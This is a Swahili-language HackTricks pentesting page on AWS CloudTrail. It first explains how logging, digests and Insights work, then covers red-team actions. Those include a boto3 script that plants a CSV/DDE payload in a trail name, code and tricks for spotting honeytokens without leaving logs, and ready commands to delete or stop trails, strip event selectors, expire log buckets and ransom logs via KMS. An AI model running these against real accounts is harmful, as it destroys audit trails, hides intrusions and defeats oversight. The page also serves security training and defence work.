AWS - CloudTrail Enum

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

CloudTrail

AWS CloudTrail inakusanya na kufuatilia shughuli ndani ya mazingira yako ya AWS. Inakamata logi za matukio kwa kina, ikijumuisha nani alifanya nini, lini, na kutoka wapi, kwa mwingiliano wote na rasilimali za AWS. Hii inatoa njia ya ukaguzi wa mabadiliko na vitendo, kusaidia katika uchambuzi wa usalama, ukaguzi wa kufuata sheria, na ufuatiliaji wa mabadiliko ya rasilimali. CloudTrail ni muhimu kwa kuelewa tabia ya watumiaji na rasilimali, kuboresha hali ya usalama, na kuhakikisha kufuata sheria.

Kila tukio lililorekodiwa lina:

  • Jina la API iliyopigiwa: eventName

  • Huduma iliyopigiwa: eventSource

  • Wakati: eventTime

  • Anwani ya IP: SourceIPAddress

  • Njia ya wakala: userAgent. Mifano:

  • Signing.amazonaws.com - Kutoka AWS Management Console

  • console.amazonaws.com - Mtumiaji mkuu wa akaunti

  • lambda.amazonaws.com - AWS Lambda

  • Vigezo vya ombi: requestParameters

  • Vipengele vya majibu: responseElements

Matukio yanaandikwa kwenye faili mpya ya logi takriban kila dakika 5 katika faili ya JSON, yanashikiliwa na CloudTrail na hatimaye, faili za logi zinatolewa kwa S3 takriban dakika 15 baadae. Logi za CloudTrail zinaweza kujumlishwa kwenye akaunti na kwenye maeneo mbalimbali. CloudTrail inaruhusu kutumia uadilifu wa faili za logi ili kuweza kuthibitisha kuwa faili zako za logi hazijabadilika tangu CloudTrail ilipokuletea. Inaunda hash ya SHA-256 ya logi ndani ya faili ya digest. Hash ya sha-256 ya logi mpya inaundwa kila saa. Wakati wa kuunda Trail, wachaguzi wa matukio watakuruhusu kuonyesha Trail kurekodi: Matukio ya usimamizi, data au maarifa.

Logi zinaokolewa kwenye ndoo ya S3. Kwa default, Usimbaji wa Upande wa Seva (SSE-S3) hutumika hivyo AWS itafungua maudhui kwa watu walio na ufikiaji, lakini kwa usalama wa ziada unaweza kutumia SSE na KMS na funguo zako mwenyewe.

Logi zinawekwa kwenye ndoo ya S3 yenye muundo huu wa jina:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

  • Jina la Ndoo likiwa: aws-cloudtrail-logs-<accountid>-<random>

  • Mfano: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

Ndani ya kila folda kila logi itakuwa na jina linalofuata muundo huu: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

Muundo wa Jina la Faili la Logi

Zaidi ya hayo, faili za digest (kuangalia uadilifu wa faili) zitakuwa ndani ya ndoo hiyo hiyo katika:

Jumlisha Logi kutoka Akaunti Nyingi

  • Unda Trial katika akaunti ya AWS ambapo unataka faili za logi ziwasilishwe

  • Tumia ruhusa kwa ndoo ya S3 ya marudio kuruhusu ufikiaji wa akaunti tofauti kwa CloudTrail na ruhusu kila akaunti ya AWS inayohitaji ufikiaji

  • Unda Trail mpya katika akaunti nyingine za AWS na chagua kutumia ndoo iliyoundwa katika hatua ya 1

Hata hivyo, hata kama unaweza kuhifadhi logi zote kwenye ndoo moja ya S3, huwezi kujumuisha logi za CloudTrail kutoka akaunti nyingi kwenye CloudWatch Logs inayomilikiwa na akaunti moja ya AWS.

Kumbuka kuwa akaunti inaweza kuwa na Trails tofauti kutoka CloudTrail zilizowezeshwa kuhifadhi logi sawa (au tofauti) kwenye ndoo tofauti.

Cloudtrail kutoka akaunti zote za org kwenye 1

Wakati wa kuunda CloudTrail, inawezekana kuonyesha kuamsha cloudtrail kwa akaunti zote katika org na kupata logi kwenye ndoo moja tu:

Kwa njia hii unaweza kwa urahisi kusanidi CloudTrail katika maeneo yote ya akaunti zote na kujumlisha logi katika akaunti 1 (ambayo unapaswa kuilinda).

Ukaguzi wa Faili za Logi

Unaweza kuangalia kuwa logi hazijabadilishwa kwa kuendesha

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Logs to CloudWatch

CloudTrail inaweza kutuma moja kwa moja kumbukumbu kwa CloudWatch ili uweze kuweka tahadhari zinazokuonya wakati shughuli za kutiliwa shaka zinafanywa. Kumbuka kwamba ili kuruhusu CloudTrail kutuma kumbukumbu kwa CloudWatch, jukumu linahitaji kuundwa ambalo linaruhusu hatua hiyo. Ikiwezekana, inashauriwa kutumia jukumu la chaguo-msingi la AWS kufanya vitendo hivi. Jukumu hili litaruhusu CloudTrail kufanya:

  • CreateLogStream: Hii inaruhusu kuunda mkondo wa kumbukumbu wa CloudWatch Logs

  • PutLogEvents: Kuwasilisha kumbukumbu za CloudTrail kwa mkondo wa kumbukumbu wa CloudWatch Logs

Event History

CloudTrail Event History inakuruhusu kuchunguza kwenye jedwali kumbukumbu ambazo zimeandikwa:

Insights

CloudTrail Insights inachanganua moja kwa moja matukio ya usimamizi wa kuandika kutoka kwa njia za CloudTrail na inakutahadharisha kuhusu shughuli zisizo za kawaida. Kwa mfano, ikiwa kuna ongezeko la matukio ya TerminateInstance ambayo yanatofautiana na viwango vilivyowekwa, utaona kama tukio la Insight. Matukio haya yanafanya kupata na kujibu shughuli zisizo za kawaida za API kuwa rahisi kuliko hapo awali.

Mawazo haya yanahifadhiwa kwenye ndoo ile ile kama kumbukumbu za CloudTrail katika: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Security

Uadilifu wa Faili la Kumbukumbu la CloudTrail

  • Thibitisha kama kumbukumbu zimechezewa (kubadilishwa au kufutwa)

  • Inatumia faili za digest (kuunda hash kwa kila faili)

    • SHA-256 hashing

    • SHA-256 na RSA kwa kusaini kidijitali

    • ufunguo wa kibinafsi unamilikiwa na Amazon

  • Inachukua saa 1 kuunda faili ya digest (inayofanywa kila saa)

Zuia ufikiaji usioidhinishwa

  • Tumia sera za IAM na sera za ndoo za S3

    • tim ya usalama —> ufikiaji wa admin

    • wakaguzi —> ufikiaji wa kusoma tu

  • Tumia SSE-S3/SSE-KMS ili kusimba kumbukumbu

Zuia faili za kumbukumbu kufutwa

  • Punguza ufikiaji wa kufuta kwa sera za IAM na ndoo

  • Sanidi S3 MFA kufuta

  • Thibitisha na Uthibitishaji wa Faili la Kumbukumbu

Access Advisor

AWS Access Advisor inategemea kumbukumbu za siku 400 zilizopita za AWS CloudTrail ili kukusanya mawazo yake. CloudTrail inakamata historia ya miito ya API ya AWS na matukio yanayohusiana yaliyofanywa katika akaunti ya AWS. Access Advisor hutumia data hii kuonyesha wakati huduma zilipofikiwa mara ya mwisho. Kwa kuchanganua kumbukumbu za CloudTrail, Access Advisor inaweza kubaini ni huduma gani za AWS mtumiaji wa IAM au jukumu limefikia na wakati ufikiaji huo ulitokea. Hii inasaidia wasimamizi wa AWS kufanya maamuzi sahihi kuhusu kuboresha ruhusa, kwani wanaweza kutambua huduma ambazo hazijafikiwa kwa muda mrefu na kupunguza ruhusa pana sana kulingana na mifumo halisi ya matumizi.

Kwa hivyo, Access Advisor inaarifu kuhusu ruhusa zisizo za lazima zinazotolewa kwa watumiaji ili msimamizi aweze kuziondoa

Actions

Enumeration

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV Injection

Inawezekana kufanya sindano ya CVS ndani ya CloudTrail ambayo itatekeleza msimbo wa kiholela ikiwa kumbukumbu zitasafirishwa kwa CSV na kufunguliwa na Excel. Msimbo ufuatao utazalisha ingizo la kumbukumbu na jina baya la Trail linalo na mzigo:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

Kwa maelezo zaidi kuhusu CSV Injections angalia ukurasa:

Kwa maelezo zaidi kuhusu mbinu hii maalum angalia https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Kupita Ulinzi

HoneyTokens kupita

Honeyokens huundwa ili kugundua uhamishaji wa taarifa nyeti. Katika kesi ya AWS, ni funguo za AWS ambazo matumizi yake yanafuatiliwa, ikiwa kitu kitasababisha hatua na ufunguo huo, basi mtu lazima ameiba ufunguo huo.

Hata hivyo, Honeytokens kama zile zinazoundwa na Canarytokens, SpaceCrab, SpaceSiren zinatumia jina la akaunti linalotambulika au kutumia ID ya akaunti ya AWS sawa kwa wateja wao wote. Kwa hiyo, ikiwa unaweza kupata jina la akaunti na/au ID ya akaunti bila kufanya Cloudtrail kuunda log yoyote, unaweza kujua kama ufunguo ni honeytoken au la.

Pacu ina sheria kadhaa za kugundua kama ufunguo ni wa Canarytokens, SpaceCrab, SpaceSiren:

  • Ikiwa canarytokens.org inaonekana kwenye jina la jukumu au ID ya akaunti 534261010715 inaonekana kwenye ujumbe wa kosa.

  • Kuwajaribu hivi karibuni, wanatumia akaunti 717712589309 na bado ina string canarytokens.com kwenye jina.

  • Ikiwa SpaceCrab inaonekana kwenye jina la jukumu kwenye ujumbe wa kosa

  • SpaceSiren hutumia uuids kuzalisha majina ya watumiaji: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • Ikiwa jina linaonekana kama limezalishwa kwa nasibu, kuna uwezekano mkubwa kuwa ni HoneyToken.

Pata ID ya akaunti kutoka kwa Key ID

Unaweza kupata ID ya Akaunti kutoka kwa iliyofichwa ndani ya access key kama ilivyoelezwa hapa na angalia ID ya akaunti na orodha yako ya Honeytokens AWS accounts:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Angalia maelezo zaidi katika utafiti wa awali.

Usitengeneze logi

Mbinu bora zaidi kwa hili ni rahisi sana. Tumia tu ufunguo ulioupata kufikia huduma fulani ndani ya akaunti yako mwenyewe ya mshambulizi. Hii itafanya CloudTrail itengeneze logi ndani ya akaunti YAKO MWENYEWE ya AWS na siyo ndani ya akaunti ya mwathirika.

Jambo ni kwamba matokeo yataonyesha kosa linaloashiria ID ya akaunti na jina la akaunti hivyo utaweza kuona kama ni Honeytoken.

Huduma za AWS bila logi

Hapo awali kulikuwa na huduma za AWS ambazo hazitumi logi kwa CloudTrail (pata orodha hapa). Baadhi ya huduma hizo zitajibu na kosa linaloashiria ARN ya ufunguo wa jukumu ikiwa mtu asiyeidhinishwa (ufunguo wa honeytoken) atajaribu kuifikia.

Kwa njia hii, mshambulizi anaweza kupata ARN ya ufunguo bila kuchochea logi yoyote. Katika ARN mshambulizi anaweza kuona ID ya akaunti ya AWS na jina, ni rahisi kujua ID za akaunti na majina ya kampuni za HoneyToken, hivyo kwa njia hii mshambulizi anaweza kutambua kama tokeni ni HoneyToken.

Kumbuka kwamba APIs zote za umma zilizogunduliwa kutotengeneza logi za CloudTrail sasa zimefanyiwa marekebisho, hivyo labda unahitaji kutafuta zako mwenyewe...

Kwa maelezo zaidi angalia utafiti wa awali.

Kufikia Miundombinu ya Watu Wengine

Huduma fulani za AWS zitazalisha miundombinu fulani kama vile Mifumo ya Hifadhidata au klasta za Kubernetes (EKS). Mtumiaji anayezungumza moja kwa moja na huduma hizo (kama API ya Kubernetes) hatatumia API ya AWS, hivyo CloudTrail haitakuwa na uwezo wa kuona mawasiliano haya.

Kwa hiyo, mtumiaji mwenye ufikiaji wa EKS ambaye amegundua URL ya API ya EKS anaweza kutengeneza tokeni ndani ya nchi na kuzungumza na huduma ya API moja kwa moja bila kugunduliwa na CloudTrail.

Maelezo zaidi katika:

AWS - EKS Post Exploitation

Kubadilisha Mipangilio ya CloudTrail

Futa trails

aws cloudtrail delete-trail --name [trail-name]

Kusimamisha trails

aws cloudtrail stop-logging --name [trail-name]

Lemaza multi-region logging

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

Zima Kuingia kwa Kichagua Matukio

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

Katika mfano wa kwanza, kiondoa tukio kimoja kinatolewa kama safu ya JSON yenye kitu kimoja. "ReadWriteType": "ReadOnly" inaonyesha kwamba kiondoa tukio kinapaswa kunasa matukio ya kusoma tu (kwa hivyo CloudTrail insights haitakuwa ikikagua matukio ya kuandika kwa mfano).

Unaweza kubinafsisha kiondoa tukio kulingana na mahitaji yako maalum.

Ufutaji wa magogo kupitia sera ya maisha ya S3

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

Kubadilisha Usanidi wa Ndoo

  • Futa ndoo ya S3

  • Badilisha sera ya ndoo ili kukataa maandishi yoyote kutoka kwa huduma ya CloudTrail

  • Ongeza sera ya mzunguko wa maisha kwa ndoo ya S3 ili kufuta vitu

  • Lemaza ufunguo wa kms unaotumika kusimba kumbukumbu za CloudTrail

Ransomware ya Cloudtrail

Ransomware ya S3

Unaweza kuzalisha ufunguo usio na usawa na kufanya CloudTrail isimbe data na ufunguo huo na kufuta ufunguo wa kibinafsi ili maudhui ya CloudTrail yasipatikane tena. Hii kimsingi ni S3-KMS ransomware iliyoelezwa katika:

AWS - S3 Post Exploitation

KMS ransomware

Hii ni njia rahisi zaidi ya kufanya shambulio la awali na mahitaji tofauti ya ruhusa:

AWS - KMS Post Exploitation

Marejeleo

Jifunze & fanya mazoezi ya Udukuzi wa AWS:HackTricks Training AWS Red Team Expert (ARTE) Jifunze & fanya mazoezi ya Udukuzi wa GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated